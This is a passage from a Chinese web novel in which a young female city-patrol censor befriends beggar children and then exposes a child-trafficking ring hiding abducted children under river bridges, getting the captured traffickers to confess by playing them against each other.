蜷缩在河岸下面的小孩儿们衣衫褴褛受尽人间疾苦,但是此刻能抱着一个包子啃,就已经露出了幸福的笑容。 “这包子好香呀!啊,里面是肉馅儿的,我已经好长时间没有吃过肉了。之前还是一位酒楼里的大爷随手扔下来一块肥肉,我赶紧抢在那条大黄狗之前捡起来塞进嘴里,只是可惜那时候太慌了,没能琢磨出来味道。唔,真好吃啊……” “是啊。” 小泥巴费劲的把最后一口包子咽进肚子里,拍了拍依旧瘪瘪的小肚子,发出豪言壮语。 “我以后一定要赚大钱,买好多好多的包子,我们每天都吃,吃到咽不下去!” “哇!真的吗?” “当然是真的了。我以后会很厉害很厉害的……” 有路过的行人听到桥洞下河岸边发出的细碎声响,投去随意的一撇,发现是一群瘦小的小乞丐,不甚在意的收回了视线。 在永安城里,这些随处可见的小乞丐就像是某种特定的风景,随意的嵌进日常生活中,不会有人对他们给予多余的目光和在意,因为他们实在是太常见了。就像路边的小猫小狗,泥巴青草一样,乱七八糟的存在着,生长着。不知道什么时候就又换了一批,至于消失了的那一批,谁会在意他们到底是躺在冰冷的河水,还是阴暗的角落里? 可,总有人会在意的。 怀里抱着满满当当食物的九阙呼吸略微有些急促,毕竟是一路跑过来的,这身子确实弱了些。 “人呢?” 小泥巴听见声音,小心翼翼的探出个脑袋,一眼就看见了气喘吁吁的九阙,顿时露出了高兴的笑容。 “啊!是好心的大姐姐!” 见那孩子还准备艰难的爬到岸上,九阙直接从河岸边跳了下去,这一举措果不其然吸引了周围许多人的目光。像这样穿着上乘甚至还穿着官服的女子,竟然不顾形象跳到了河岸下边儿,实在是有失礼节。 就连小泥巴他们都有些担心的看着这个好心的大姐姐。不过应九阙毫不在意。 把手里抱着的满满当当的东西推到他们那边儿,九阙笑眯眯的开口。 “我刚刚回去的时候买了太多东西,买完之后才想起来家里没有别的人在,一个人吃不完。再放下去就要坏了,你们来帮我分担一些吧。” 塞到这个小孩子怀里的是一些他们平时联想都不敢想的食物,还有那些甜滋滋的麦芽糖和酸酸甜甜的糖葫芦。像这种专门给小孩子吃的甜嘴的小东西往往贵的很,在几个小娃娃眼里算得上是奢侈品了。普通百姓家里也不是每天都会给孩子买这种零嘴吃的。 虽然小泥巴几个年纪都小的很,但并不是傻子。应九阙说的借口,他们是不信的。这会儿都有些受宠若惊。 但很神奇的是,在咽了几口吐沫之后,小泥巴坚决将怀里的东西递给应九阙。 “大姐姐,我们刚刚吃了你给的包子,已经吃饱了,这些东西很贵的,你还是带回去慢慢吃吧,我们不能太贪心的。” 第三十一章 突然翻脸 九阙觉得,她觉得自己的眼泪都快飙出来了。 怎么办?她还以为自己的心已经像在大润发杀了三十年鱼一样冰冷坚硬,可是在看到面前这几个孩子望眼欲穿却坚定拒绝的模样时,觉得眼睛酸涩不已。 这几个孩子为什么能这么听话? 她响亮的抽了一下鼻子,充满英雄气概的大声表示。 “不用推脱了,这些都给你们。你们如果不收的话,我要不开心了。” 小泥巴本来还想拒绝,但是在看到漂亮小姐姐微红的眼圈儿时,还是默默咽下了到嘴边的话。 行叭,如果他再继续拒绝下去,担心这位漂亮的大姐姐会哭出声来。也不知道为什么,他就是觉得面前这位大姐姐能当着这么多人的面做出这样的事。 “那,那我们就收下了……” 看着这几个孩子小心翼翼的把那一大包东西分散开来,塞到破烂的衣服里,尽量不那么显眼,九阙微微眯起了眼睛。 明明得到了充足的食物,却还是那么小心翼翼,虽然以他们这个年纪能够做到不在瞬间吃撑,可这样的行为终究有些古怪。 “天气越来越热,你们不吃的话他,可能会变味儿哦。” 九阙跟这些孩子们说话的时候,自己的声音也不由变得像小孩子一样,是那种平常听到都会唾弃一把的程度。 但小孩子们却觉得很正常,小泥巴甚至还反过头来教九阙。 “姐姐,虽然现在天气越来越热,但是把这些食物放在靠近水的地方,能多放两天。你家里有井吗?如果有井的话,把这些吃的放进篮子掉在水里,存放的时间就更长了。不过,尽量还是不要吃过夜的食物。” 他们吃惯了街边路上被丢弃的变质食物,可这位姐姐看上去就像好人家出身的,肯定吃不习惯,他就曾经见过一个刚来的小孩儿因为吃了一块儿长毛的馒头,当天夜里肚子疼的厉害,第二天人就没了。 想到这里,小泥巴很不放心的看了一眼应九阙。虽然这位姐姐人很好,但是她这么毫无防备的接近他们这群小乞丐,看起来又像是没什么外出经验。小泥巴知道现在很多达官贵人家的夫人小姐大门不出,二门不迈,很少出来,这位姐姐估计也是那样的大家闺秀。 想了又想,还是决定劝告她。 “姐姐,我知道你是个好人。但是以后如果在路边看到我们这样的乞丐,还是离得远点儿吧。” 小泥巴这话说的很艰难。因为他知道自己这话一出以后,像他们这样的小乞丐就丧失了一分活下去的可能。 可是面前的小姐姐人这么好,他真的不想让对方受到伤害。 “为什么呢?” 九阙蹲下身子,眨巴眨巴眼睛,好奇的询问。 “呃……” 不知道想起了什么,小泥巴的表情突然变得十分恐惧,然后抗拒性的摇头。 “姐姐,你别问了。反正我不会害你的……” 就在这个时候,小泥巴突然扑了过来,一把推翻了九阙,声音也变得尖利。 “你走!我们才不需要你假好心,像你这样的人,还不是帮了一次就觉得我们烦人,不会再帮第二次!如果不是真心实意的想要帮人,就不要主动出手,这样给了我们希望又让我们绝望,你觉得很开心吗?!” 旁边几个小孩儿一改刚刚的怯懦不安,脸上的表情也变得‘凶狠’起来。 小泥巴甚至弯腰抓了一团泥巴,扔向了九阙。 “你快走啊!我们才不想看到你这么假惺惺的人!” 连推带搡的,九阙狼狈的翻了上去,衣摆还沾染着一团污泥,散发着淡淡臭味儿。 她低头看着藏在河岸下的几个小萝卜头,因为低垂着眉眼,让人看不清在阳光下她的表情究竟是什么样的。旁边几个围观的小贩这会儿发出了感慨。 “姑娘,你别白费功夫了,这些小乞丐们都是没心没肺的。我之前看他们可怜,还给他们烧饼吃,结果呢?他们在旁边大喊大叫的,把我的客人都给吓跑了。这就是一群小白眼狼,别管他们了!” “就是!王哥说这事儿我当时可看着呢。来了一个好阔气的客人,要买下整整一炉烧饼!结果就是被这几个小崽子在旁边儿大喊大叫,还扔泥巴,把人家给熏走了。怪不得叫小泥巴呢,真跟烂泥巴似的。又臭又烂!” “好了,少说几句吧,当他们不存在就是了。唉……” 九阙依旧低着头,看不见她的表情。背光的小泥巴依旧凶凶的,只是这会儿脸上闪过一丝哀伤,然后头也不回的带着小伙伴们溜着河岸跑了。 “……” 有什么细碎的声音从那黑黢黢的桥洞下传来,九阙看了一眼,因为光线实在不好,没看清那里面有什么东西,只恍惚中好像听到有唾骂声,但又好像是身边小贩们对这些小乞丐的讨伐。她眨了眨眼,缓缓站直了身子,看着这缓缓流动的,仿佛能带走一切脏污的河水,陷入了沉默。 旁边围观了一切的小商贩们都忍不住叹气。这姑娘明显是好人家出身,心地也善,大老远给他们买吃的喝的,怎么就突然口出恶言?照这样下去,以后还会有谁发善心给他们吃喝? 这群小孩儿是绝了自己的路呀,也不知道他们到底是怎么想的…… 就在此时那两个没骨气把她抛下的小官吏屁颠儿屁颠儿的跑过来,看到额头上的细汗,应该是找了她好一阵儿。离大老远就看见这位新官上任的巡城御史崭新的官袍衣摆处沾染了一团烂泥,禁不住倒吸一口凉气。 嘶,这位巡城御史不会又被哪个达官贵人家的纨绔子弟给欺负了吧?天啊!衣裳都被扔脏了,她不会跑吧? “大人!大人呐,您没事儿吧?哎呦呦,这怎么身上还有团泥呀?谁扔你的?简直大胆!您给小的说一声,小的立马把他拷来,让他下大狱!” “老王,我对您可是忠心耿耿,只要您一声令下,绝对指哪儿打哪儿!” 九阙掀了掀眼皮子,身影有些寂寥。 “哦,刚刚有个穿浮光锦的人扔的,你去给我抓过来。” “小的我一定啊?浮,浮光锦啊?是那个一寸一金的浮光锦?呃,那啥,小人肚子突然有点儿疼,得找个茅厕……” “哎呦!我跟王哥中午一块儿吃的,我也肚子疼的厉害,我得赶紧去!带带我啊王哥!” 看着他们一骑绝尘的背影,九阙嘁了一声,眼神复杂。 第三十二章 孩子不见了! 这两个也太靠不住了,得了得了,继续巡街去…… 见人已经走远,黑黢黢的桥洞里有细碎的辱骂声响起,转瞬即逝,似乎是涛涛河水给人带来的错觉。 接下来的行程还是挺顺利的,九阙溜溜达达的,也不知道自己的行踪已经被层层传到了这个皇朝的最高统治者那里。 金碧辉煌的养身殿里,景泰帝端坐在龙椅上,很长时间都没出声,负责将应九阙行踪禀告陛下的金甲卫心中好奇,却不敢表现出分毫。只是,陛下为何会对应九阙那般注意。金甲卫向来只负责陛下的安危,尤其他还是金甲卫中的暗卫,最神秘武力值最高的那种,就连几位皇子都很少受到这种级别的监视,可应九阙一个六品巡城御史竟然做到了,这怎能让人不觉得惊奇?不过他很明白自己的身份,绝对不会说不该说的话不该做的事。 景泰帝习惯性的把玩着一枚核桃大小的镇纸,温润的羊脂玉经过日久天长的把玩显现出一种令人心动的动人色泽。九龙争奇斗艳的奇景被浓缩在核桃大小的镇纸上,竟然意外和谐,可见雕刻大师的功夫。这块儿镇纸在景泰帝手里已经十三年之久,是他登基那年进献的极品羊脂玉,是莫也子大师的收山之作,乃倾城极品之物,他闲暇之余总会不自觉把玩,身边侍奉的人都知道这是陛下的心爱之物。 把玩着举国罕见之物,景泰帝的脸上却没有丝毫欣喜。 那个孩子,那个女娃娃啊,那个叫九阙的孩子,应将军之女,她发现这盛世之下潜藏着的污秽,光明下的黑暗,她会是什么反应?她会怎么做?她会觉得朕这个皇帝做的不够好吗? 他这一辈子,听过无数人的阿谀奉承,或许有些人出自真心,可是那真心真的太难发现了,景泰帝需要摒除掩盖在外表上的利益纠纷皇权巍峨,才能勉强窥见其中的一分真心。倒也不是做不到,可景泰帝觉得累啊。 人生五十载,近二三十年里,他都需要用最苛刻的态度面对没一个接近自己的人。他是皇帝,也只是皇帝,不是神明,他也会累。 而现在,有那么一个人,她就像完全透明的,像一捧清水,一眼就能看到底。不必在意表面的谦恭温顺,一眼就能看透对方心中所想,不必担心对方会骗你,因为她的所思所想,只有你一人听见,就连她自己都不知道这件事。试想一下,景泰帝怎么可能不在意对方心中所想? 毕竟在周围所有人都可能说谎的情况下,应九阙是最真诚的那个! 沉浸在自己思绪中的应九阙被一阵焦急的脚步声惊动,垂眸看向一脸为难走过来的九福。虽然不悦,但九福不会在自己思考的时候擅自打断他。 “何事?” 九福一脸为难,说实话,要不是刚刚威远伯都要给他跪下了,他也不会打扰沉思中的陛下。 “陛下,威远伯求见。似乎,似乎是家中幼子丢了……” 威远伯? 景泰帝顿了一下,猛然坐直身子。什么?戚征的幼子?!戚征就那一个儿子,他之前也见过几回,那孩子长得唇红齿白,跟观音座下的金童似的,有福气得很,全家宝贝的不得了,怎么会丢了?确定没弄错? 这会儿也顾不得了,连忙让戚征进来。戚征是最早跟随他的大将之一,九尺高的汉子,早年间在战场上那是能不喘气儿七进七出的人物,可现在,也是头上生出白发的老人了。 戚征疾步走进来,四十多岁的人了,被砍的就剩一口气都没有出声,铁骨铮铮的汉子,看见景泰帝,眼圈儿一下就红了,两行眼泪啪嗒一下划过脸庞,声音也带了一丝微不可见的哭腔。 “景哥,我,我家宝儿不见了……” 景泰帝心中大痛,疾步从龙椅上走下,一把扶住要跪下的戚征,声音里都带着疼惜。 “怎么回事?你别慌,给我说说宝儿怎么会丢?他身边不是有你家军将守着?什么人敢偷他?会不会是去你哥家里了?” 这掉眼泪,也是有区别的,戚征与景泰帝在战场上相互扶持互守互望十几年,那是过命的兄弟。尤其戚征从小沉默寡言,别说哭了,平日里连多余的话都不会说一句,所以,今日当着景泰帝的面红了眼圈儿,景泰帝比自己被捅了一刀都难受,忙不迭的安慰老兄弟。 戚征粗鲁的擦把脸,沉声让跟在自己身后的人过来。 “你一五一十的跟陛下说,到底怎么回事!” 那面色惨白,抖若筛糠的人,赫然是之前才与应九阙有纠纷的纨绔公子哥儿,杨林源! 杨林源这会儿脸肿成猪头,自己也吓得够呛,哆哆嗦嗦的,在景泰帝皱眉的表情里勉强把话说清楚了。 原来杨林源自打灰溜溜的离开,就赶紧去荟萃楼接自己小侄女和表姐了。 没想到在荟萃楼见到了自家二叔,也就是安远伯家的小兄弟,说起来这也是一笔烂账。安远伯威远伯确实是同父同母的兄弟,只是后来父母生出嫌隙,一人随父姓一人随母性,不过兄弟两个的感情相当不错,当初打天下的时候也是一起的,感情甚笃。后来景泰帝登基,就给两兄弟都封了伯爵之位。只是不同于还在为景泰帝效力的安远伯,威远伯戚征早早隐退,一心做个富贵闲人,含饴弄孙,也在五年前,成功与自己的发妻生下一个麟儿,从此更是不问朝事,甘心做一个富家翁。 说起来,两家关系挺好的,要不然杨林源也不会热情的叫着他一起吃饭。而且二叔家里的小堂弟还真是玉雪可爱,漂亮的很,杨林源就更喜欢和他一起耍。 都不是外人,几人就在一个包厢里吃饭,谁也没想到,就在几人吃饭的时候,荟萃楼一楼传来剧烈的吵闹声,杨林源没别个爱好,就是喜欢看个热闹,于是出去看了会儿,其实也没多长时间,发现是两个外来客商因为座位吵架了之后,就回去了。可一回包厢,就发现表姐歪在桌子上,小侄女仰面靠在椅子上,旁边的丫鬟小厮歪七扭八的躺倒在地…… 杨林源当时就是脸色一变!因为其他人都在,只有他的堂弟,二叔家唯一的孩子—— 不见了! 第三十三章 又有孩子不见了! 杨林源浑身上下的冷汗一下子全冒出来,整个身子都僵了。不过他好歹也是将门出身,这点儿反应能力还是有的,迅速让人包围了整个荟萃楼,高大壮硕的侍卫们将其死死的围住,不让一个人走脱。 荟萃楼也是整个京城赫赫有名的酒楼之一,在里面吃饭的也都是些达官贵人,富商巨贾。突然被限制了行动,自然有许多人心生不满,可是在看到杨林源那双充血狰狞的眼睛时,众人都暂时忍下了。毕竟他们也都知道,威远伯就这么一个宝贝儿子,看的跟眼珠子似的,突然找不着了,而且身边的人也都被放倒,绝对不是无心走失,肯定是有人偷走了! 感知敏锐的人都禁不住倒吸一口凉气,到底是谁有这样天大的胆子,竟然连威远伯的独子都偷?!京城要翻天了! 可就算及时作出反应,把整个荟萃楼包围的水泄不通,杨林源也还是没有找到小堂弟的影子,他那时候已然焦急到五内俱焚,在发觉自己没有能力处理这件事之后,立即联系了自己那个常年待在府中不怎么出来交际的二叔。 急匆匆赶来的二叔,狰狞的面孔简直像从地狱爬出来的恶鬼!杨林源觉得自己能做三天三夜的噩梦! 然后二叔并没有大肆搜查,反而在询问了情况之后,立即决断,带着他急匆匆赶到皇宫。 “……我真的只是出去了一小会儿,等我回来的时候已经没人清醒,可门窗都关着,荟萃楼也已经被重重包围,没有一个人走脱,可宝儿就是不见了……” 看着杨林源失魂落魄,面色苍白的样子,景泰帝好心的没有质问他。就带着自家小堂弟吃个饭也能把人弄丢,原因竟然是出去看热闹去了,真是不靠谱。 可现在也不是追责他的时候,最要紧的是先把孩子找回来。 “召刑部尚书,左右侍郎,大理寺卿,少卿,巡城军统领……” 很快,这些刑狱方面的官员就急匆匆的来到陛下面前,等听完事情始末,都忍不住面露难色,听杨林源所说的话,当时那雅间就是个无懈可击的密室。威远伯家的独子今年五岁,虽然幼小,但也不是个猫儿狗儿的,往怀里一揣就能带走了。 更何况威远伯以前在军中的时候可是监管谍报的,连他那双眼睛都没发现线索,这…… 只是面对威远伯血红的眼睛以及陛下冷凝的视线,没人敢在这个时候说难。片刻之后,整个京城以前所未有的速度运转起来,纵横京城的主路全被封堵,巡城军成群结队巡逻,一切可疑人员都被关进了大牢,现在这个时候,也不说什么抓错了,宁可抓错一百个,也不能错过! 全城戒严的时候,九阙还在街上外面转悠,本来一切正常,结果远远的听到前方一阵喧闹,而且那几个面色慌乱悲痛的人,好像有点儿眼熟? 等那几个人越来越近,九阙终于看清,这不是桐花巷里木老他们几个老街坊吗?这会儿怎么慌成这样?口中好像还大喊着什么…… “孩子!孩子不见了!” “我的孙儿!我的明德!我就是转个身的功夫,人就不见了!你们看见他了吗?他大概这么高,左耳朵上有一颗绿豆大小的红痣!人长得可精神了!你们不是也见过吗?有没有谁见过他啊!” “还有我闺女!我闺女也不见了!她才四岁,扎着双丫髻,穿着大红衣裳,谁见她了?求求你们了把我闺女还给我吧……” 九阙紧走几步,听见这一连串的惊呼哀告,眉头紧紧蹙起,然后拦住了已经站不稳的林大娘。此刻的林大娘哪里还有之前的精神劲儿,连头发都白了许多,一脸颓丧焦急,那无助的眼神,让人不忍心直视。 “林大娘,林大娘!怎么回事?你孙子不见了?什么时候不见得?走丢之前穿的什么衣服?在哪儿不见的?” 泪眼婆娑中看见熟悉的应九阙,听到这些认真细致的询问,林大娘哽咽一下,不知怎的,浑身上下又有了一股劲儿,急急开口。 “我,我孙儿就是在这条街不见得,就在这一片。” 指了指所站位置的四周,林大娘紧紧握住应九阙的手,陷入了无法自拔的自责。 “他穿着一阵天青色小袍子,衣襟里还绣着他的名字,他叫林明德!大约一炷香之前,我带着他来这条街买针线,他就在我身边站着,真的就一转身的功夫,他就不见了!都是我的错!我不该松开他的手,我真不该啊……” “那卖针线的小贩呢?” “就是他!就在这儿!” 那卖针线的是个二十来岁的年轻人,这会儿也是一头的汗水。这可是在他的摊位上买东西时候不见得,这要是传出去,还以为他是配合着拐走人家孩子呢! 小伙子看清楚应九阙身上的官服,一脑门的汗。 “大人,我真没有看见那孩子是什么时候不见得。左右的商贩可以为我作证,那时候我摊子上生意好的很,我忙着应付客人,哪里会注意这位大娘的孙子?可我,我真不是拐子!我不干那丧尽天良的事儿!” 应九阙转向旁边那几个同样面露焦急之色的商贩。 “小伙子在这摆摊也好几天了,人挺忠厚老实,也不缺斤少两,所以这街坊邻居的,都喜欢在他这儿买杂货。不过我们也没看仔细啊,刚刚这儿围着的人太多了,带着孩子过来的更多,这我们也注意不到啊……” “也不知道咋的,刚刚客人多的很,也不来我们这边买东西,我还多看了两眼,但是也没看见明德什么时候不见得。” 询问了左右两边以及对面的商贩,得到了异曲同工的回答,九阙沉吟一瞬,仔细观察四周的环境。 刚刚已经确定孩子没有回家,就是在这条街上不见了,这要是真被拐子拐走了,从现在开始的半个时辰内,可是最佳找回时机,要是错过了,再想找回来就难了。 四周满是众人或悲痛或伤怀或惋惜的声音,乱糟糟的,九阙揉了揉脑袋,一片粼粼波光闪过她的眼睛,汩汩的水流声照样不息。九阙眼神微微一动,看向了卖杂货小伙子身后那条缓缓流动的河。 第三十四章 不只有孩子 京城水系四通八达,走在路边看见条河最正常不过,但是九阙却总觉得有问题。走到路边,河水与脚下的土地赫然分割成两个整体,水面比路面低了半个人的高度,河水清凌凌的,似乎没什么异样。 只是顺着这条河往远处看,视线不远处,有一座小桥,桥下黑洞洞的,看不清里面有什么,只是河水在经过桥洞的位置会有细微的水纹变化。九阙的视力很好,这些水纹变化应该有一定的规律,只是有那么一刻,那些水纹荡漾了下,虽然很快就恢复平静,但和刚刚,好像不太一样?而且,原本应该空无一物的桥洞底下,似乎有微弱的光一闪而过? 刚刚已经再三询问过对方,林大娘反应很迅速,在发现自己孙子不见的第一时间就喊住相熟的人盯准这整条街,找其他人不方便,可是找一个孩子,还是很容易的。 林大娘虽然有些老者的聪慧,但是从未接触过当官的,应九阙可以说是她唯一认识的官儿。虽说平日里都想远离官府,但真到了这种紧急关头,对官府还是很信任。这会儿发现应九阙盯着那桥洞不放,眉头也紧紧蹙起,顿时揪紧了一颗心。 “怎么了?大人,您发现什么了?” 九阙立即“嘘”了一声,然后对林大娘找来的那些高大健壮的年轻男人使了个眼色,那几人也不傻,立即朝着应九阙看的位置走了过去。 周围喧闹的动静也渐渐安静,大家看着应九阙等人的动静,似乎意识到了什么,都下意识的让开了路。下一刻,不少人似乎明白了什么,激动的屏住呼吸,也渐渐朝着那座桥的位置走去。 有些当爹娘的都摩拳擦掌,恨不得把那拐子揪出来碎尸万段!都是第一次当人,怎么就有人能那么狠? 九阙一直紧紧盯着那黑乎乎的桥洞,河岸上的人悄悄过去的时候九阙微微向前倾身,好像在和什么不存在的东西对峙。就在一个微妙的时间点,九阙猛然挥手! “扑通!” 林明德的父亲首当其冲跳了下去,毫不犹豫的冲向黑魆魆的桥洞,孩子的其他长辈紧随其后,几乎与此同时,怒骂吆喝声响了起来,间或还有搏斗的声音,接二连三响起。 桥洞里果然有人! “快来帮忙啊!底下有好几个孩子!都晕着呢!这群杀千刀的,把孩子放在木板上,都湿透了!” 听了这话,旁边的人哪里还能按捺得住?一时间跟下饺子似的往下跳,九阙紧紧的盯着那边的动静,以防有人悄悄溜走。好在人多力量大,不一会儿,就有热心的街坊四邻好几个为一波押着两个狼狈不堪的男人游了出来。 有机灵的人已经抽出腰带等东西将人捆起来,一被推上岸就被死死摁倒在地,已经有人按捺不住,悄悄饱以老拳,一时间现场有些混乱。 应九阙这会儿快步走过去,跳下去的人已经将几个孩子送上岸,她快速扫了一圈儿,一共被救上来六个昏迷不醒的孩子,年龄普遍在五到八岁,可没人耳朵上有红痣!九阙的眉头顿时拧成了一个团,谢明德的父亲顾不得自己大量流失的体力和刚刚打起来时受的伤,扑上去揪住其中一人的领子啪啪就是两耳光,近乎癫狂! “我儿子呢?我儿子呢?!你把他弄哪儿去了?为什么这里没有?!” 被抓住的男人看起来憨厚老实,一点儿也不像会做这种事儿的人,可人赃并获,容不得他抵赖。只是不管林明德的父亲如何威逼利诱,对方却始终咬紧了牙关一声不吭。 林大娘恨得牙痒痒,老当益壮的狠狠砸了对方脑袋几下,见他还是不说话,只能将求救的眼神投向了应九阙。在她眼里,这位大人能在那么短的时间里发现异样甚至还帮忙抓到了两个拐子,肯定是个聪明人。时间紧迫啊,得在最短的时间内找到人,不然她孙子就有可能回不来了。 “应大人……” 应九阙这会儿已经走了过去,看着并排跪在地上鼻青脸肿的两个人贩子,以及旁边被大人们揽在怀里安慰的孩子们,闭了闭眼。 “我朝律法,主动供出主犯者,罪名减轻一等。你们若是从犯,拐卖孩童,理应绞死,若是说出其他孩子去了哪里,或许能留下一命,改为流放。流放路途虽远,但留得青山在不怕没柴烧,总比孤零零一个人上路来的好。” 那两人没有一个说话的,十分讲义气,并且明显嗤之以鼻。 九阙倒是不在意他们对自己的态度,只是转了转身子,示意林明德之父将另外一个贼眉鼠眼的男人带到人群另一边去,自己也跟了过去。 那忠厚老实的男人原本一副忠贞烈士的模样,可是见应九阙跟着自己的同伴去了另一边,有人群重重阻隔,禁不住提溜起了心神,睁大眼睛往那边看。但这会儿只能听见一点儿动静,是那个女官儿。 “……什么?真是这……嘶,这可麻烦……没关系,总能……保住你……替死鬼……” 跪倒在地的男人眼睛睁得老大,他就知道黑老三那怂蛋瓜子靠不住,平日里就是个软脚虾,被人家当官的一阵忽悠就招了!还说是什么兄弟?呸! “黑老三!你这个孬种!你敢说出于老大的行踪,谁也保不了你!你想被扔进这永安河沉尸不成?!你他娘的赶紧闭嘴!你——” 这人的话到这时候突然截住了,因为他看见那个柔柔弱弱的女官儿这会儿从分开的人群中走过来,紧跟着合拢的人群挡住了他的视线,看不见黑老三现在是个什么怂样,但却可以看见那个女官儿脸上踌躇满志的表情和惋惜。 惋惜?惋惜什么?还有,你不是应该赶紧过来审问我吗? 应九阙都没有分给他一个眼神,大跨步走过,毫不留恋。 为什么都从我面前走过去了还不回头?不!她一定什么都不知道,她绝对是装的! 应九阙大步走过那个男人,低声请旁边的大哥帮忙去衙门报案。 “……你拿着我的牌子过去,说是在闹市抓住了两个拐子,解救孩童六人,其中一人供出了主犯和其他孩子所在,可以暂时收押,找个安全点儿地方管关着。还有,这里需要大量人手帮忙,必要时请巡城军出手,务必要抓住……” 不,不不不! 那男人眼见着应九阙都要走远了,似乎生的希望也在迅速离自己而去,终于抑制不住,撞开摁着他的两个大汉,因为太过着急,嗓子都在一瞬间喊劈了! “不只有孩子!还有女人!” 第三十五章 抄家伙! 九阙前进的脚步突然一停,周围原本配合着的百姓们也僵住了。什么叫还有女人?这群拐子除了拐孩子,还拐走女孩子? 那看起来憨厚老实的男人这会儿反应过来,脸上本就不多的血色更是消失了个干干净净。他竟然在大庭广众之下说出了组织的秘密,上头一定不会放过自己!但是转念一想,黑老三才是第一个出卖组织的人,就算死也有个垫背的。 可下一刻,人群散开一条缝,他看见了被死死堵住嘴一脸震惊的黑老三。男人有那么一瞬间浑身冰凉,如坠冰窟。刚刚那动静竟然是假的!那个女官儿都是在骗自己!她骗自己当了第一个背信弃义的家伙! 不!他不能暴露,上头的手段他都是知道的,他绝对会被用最可怕的手段虐待致死!他还不如现在就…… “我劝你想清楚了。” 应九阙轻柔的嗓音此刻在男人耳中却像是来自地狱的呢喃,激起他一层又一层的鸡皮疙瘩。 “朝廷早就有意打击全国各地的拐子,你是想做第一个死在同行手里的冤种,还是转过头来做朝廷的狗,咬下同行身上的肉让自己活下去。其实这很容易选择不是吗?毕竟你刚刚已经出卖了同伙,你觉得没有朝廷的庇佑,他们会让你活下来吗?让别人死,总比让自己死容易的多。只要能活着,谁会想死呢?” 男人的眼皮飞速颤动,显然应九阙的话对他不是没有任何影响。 “就比如你那位朋友,他可是急着要做第一个反咬一口的人,就是不知道你们谁能把握住这个机会了。” 男人知道应九阙说的真假各有,可真正面对生死时刻,还是很少有人能够控制住自己,他似乎挣扎了许久,但是在发现应九阙已经毫不留恋的朝着黑老三走过去,最终还是控制不住求生欲望。 “我,我说!别杀我!” 撬开了一张嘴,接下来就容易的多,急于将功赎罪的两人一个赛一个焦急的将自己知道的事情全部都说出来,应九阙很快就理清了事情经过。那贼人是把偷的孩子都通过河水桥洞下水道之类的地方送到各个隐蔽的地点,刚刚救下来的那六个是还没来得及转移。 “那个耳朵上有颗红痣的小男孩儿呢?也就五岁左右。” “你说林明德?” 黑老三并不像大家想象中的那样不知道自己拐的是谁,反而异常清楚,这会儿有些遗憾的感慨。 “那可是个好看的小孩儿,这样的小孩儿价格会更好,上头自然优先选择将他送走。那样的孩子,一个就比得上好几个。这会儿估计早已经送走了……” “我杀了你!” 早就已经按捺不住的林父冲上去对着两个拐子就是一阵痛揍!孩子们的亲属自然也毫不吝啬自己的力气,一时间痛呼之声不绝于耳。 应九阙默默退出去,她想要的已经都得知,再说了,她只说了会保住对方的命,没说过他不会遭受皮肉之苦。 但现在麻烦了,虽然周围有很多热情邻里,但他们毕竟是普通百姓,没有受过特殊训练,速度上可能跟不上,可现在要去哪里找大批的人手帮忙? “咚咚咚——” 一连串整齐的脚步声由远及近,一队浑身披甲的巡城军小跑着疏散人群,当看到这里聚集着的大片人群时,为首的更是露出了严肃的表情。只是还不等他们疏散人群,就看见人群里歪着两个鼻青脸肿的男人,还有人饱以老拳,揍得对方看见自己不停的呼喊救命。 虽说现在身受皇命极其重要,可他们也不能眼睁睁看着对方闹事却不管啊。但在听众人七嘴八舌说出事情经过后,巡城军小队长露出了雷劈一样的表情。随即看向两个拐子的神情就有些一言难尽。所以你们两个该被关大牢的家伙对着我们求救?果真是脑子有问题! 不对,这不是重点,重点是上头要求他们满城寻找被偷走的威远伯独子,这会儿就已经找到了六个被偷走的小孩儿!不知道这六个里面有没有那位身份尊贵的小少爷。 想到这里,小队长十分心动,当机立断带着六个孩子入宫,不过他还算有点儿良心,留下了多半人手给应九阙调遣。应九阙此刻也顾不得对方抢自己的功劳,请这些训练有素的护城军将士顺着河道快跑过去,在每一个拐角或者桥洞的地方都下去看看。就算这些人水性好,也不可能一直在水里憋着,总会有出来透气的时候。 再有就是这些邻里了。群众的力量一直都是伟大的,这点应九阙深信不疑。 “诸位大爷大娘大哥大姐,九阙在这里恳请诸位帮帮忙。那些拐子拐走的远不止这几个孩子,还有很多无辜的孩子们如今下落不明,时间紧迫,如果今天找不到,以后就可能永远找不到了。我也不会多么大的官儿,给不了大家多少好处,但帮别人也是帮自己,我愿意将自己的一半身家拿出来,奉给抓住拐子的勇士们!希望大家能多多帮忙……” 周围有那么一瞬间陷入了沉默,深深弯腰下去的应九阙咬了咬牙,果然一半的身家还是不够吗?眼前浮现出小泥巴光秃秃的手,想起现在还有孩子很有可能陷入那样的危险中,应九阙就眼睛发酸。 深吸一口气,重赏之下必有勇夫,正准备将自己的全部身家都拿出来做奖励,低垂着的视线里却突然出现无数只手。九阙觉得自己是被抬起来的,有些茫然的看着周围面色通红激动不已的邻里们,不太能反应过来。 不过下一刻,林大娘已经哭喊出声! “应大人!这本来就是我们应该做的,您不用这样!找的也是我们的孩子啊!” “就是!老伙计们!快!别磨蹭,都按应大人指的方向去!别把那群小贼给放跑了!这群杀千刀的,今天敢拐一个,明天就能拐十个!咱们谁家没有儿女?谁家没有适龄的小娘子?要是抓不住他们,受苦可是我们自己!” “都赶紧抄家伙!上!别放过他们!” 第三十六章 全力相助 九阙茫然的抬头看着突然跟打了鸡血似的人们,不知道怎么回事。只是回过头去,能看见林大娘在抹眼泪。 “应大人,我知道,我知道你是个好官!我先谢谢你了!等老婆子找到明德,一定请你吃很多很多糖渍瓜子!” 啊,原来她还记得这一茬啊。九阙无奈笑笑。紧接着就追了上去,这一天,很多原本正在为了生活忙碌奔波的百姓听到动静后,都放下了手里的活,冲出来帮忙。 人心都是肉长的,更何况自古以来,人们对人贩子的恨意极为统一。大家都有孩子,谁都怕自己的孩子被人偷走,现在帮别人,也是帮自己啊!而且那六个孩子的家人也陆陆续续赶来,虽说孩子被刚刚那小队长带走,但听到了具体描述之后,心也稍微放下,只是渐渐的,九阙发现了不对劲。 明明找到的只有六个孩子,可是来找孩子的人家越来越多,看那数量,最起码有二十对人家!一问情况,都是最近三天之内找不到孩子的人家,而且人数还在渐渐增多。这些丢了孩子的父母长辈们皆是一副失魂落魄的模样,因为得知有孩子被救回来,心中多了一丝希望,就等着孩子被送回来的时候看看是不是自己的。 可对于京城来说,孩童走失这样的事儿,还是这么多的数量,京都府尹不是该提高警惕了?可听这些父母的话,府尹除了让他们静心等候之外,没有其他的处置了。 